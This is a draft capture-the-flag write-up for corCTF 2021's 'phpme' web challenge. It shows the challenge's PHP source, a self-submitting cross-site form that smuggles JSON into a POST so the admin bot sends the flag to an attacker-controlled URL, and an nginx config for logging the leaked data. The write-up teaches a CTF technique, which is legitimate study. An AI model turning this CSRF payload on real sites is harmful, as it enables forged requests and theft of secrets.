writeups/2021/corctf/phpme
5225225 b1db324231 2021: corctf: draft work on phpme 2021-08-24 18:13:57 +01:00
..
README.md 2021: corctf: draft work on phpme 2021-08-24 18:13:57 +01:00

README.md

DRAFT : NOT FINISHED

phpme

by 5225225 and haskal

web / 469 pts / 64 solves

"This is what normal PHP CTF challenges look like, right?" - A web dev who barely knows PHP

Going to the URL given shows us this source code

 <?php
    include "secret.php";

    // https://stackoverflow.com/a/6041773
    function isJSON($string) {
        json_decode($string);
        return json_last_error() === JSON_ERROR_NONE;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
            // https://stackoverflow.com/a/7084677
            $body = file_get_contents('php://input');
            if(isJSON($body) && is_object(json_decode($body))) {
                $json = json_decode($body, true);
                if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
                    echo "<script>\n";
                    echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
                    echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
                    echo "</script>\n";
                }
                else {
                    echo "nope :)";
                }
            }
            else {
                echo "not json bro";
            }
        }
        else {
            echo "ur not admin!!!";
        }
    }
    else {
        show_source(__FILE__);
    }
?> 

The challenge is to get the admin bot to visit a URL and make a POST request without user interaction, and then receive the flag back as a POST to the url given.

The easiest way to do this is with a form. One issue is that form submission is submitting key/value pairs, but we need to submit valid JSON. [System Overlord

The final solution was

<body onload='document.forms[0].submit()'>
  <form action='https://phpme.be.ax/' method='POST' enctype='text/plain'>
          <input name='{"yep":"yep yep yep", "url":"<URL>", "trash": "' value='"}'>
  </form>
</body>

with <URL> replaced with some URL that can receive POST requests.

I (522) didn't have an easy setup to receive the values of post requests, so I got haskal to set up nginx to log the values of POST data, then look through their logs. There's most definitely cleaner ways to do this, but this worked!

For future reference, the nginx directive to log POSTed data is

log_format postdata $request_body;

server {
    location /flagzone {
        access_log /var/log/nginx/flags.log postdata;
        echo_read_request_body;
        # ...
    }
    # ...
}

Once you get the data back, you can simply submit the flag and you're done!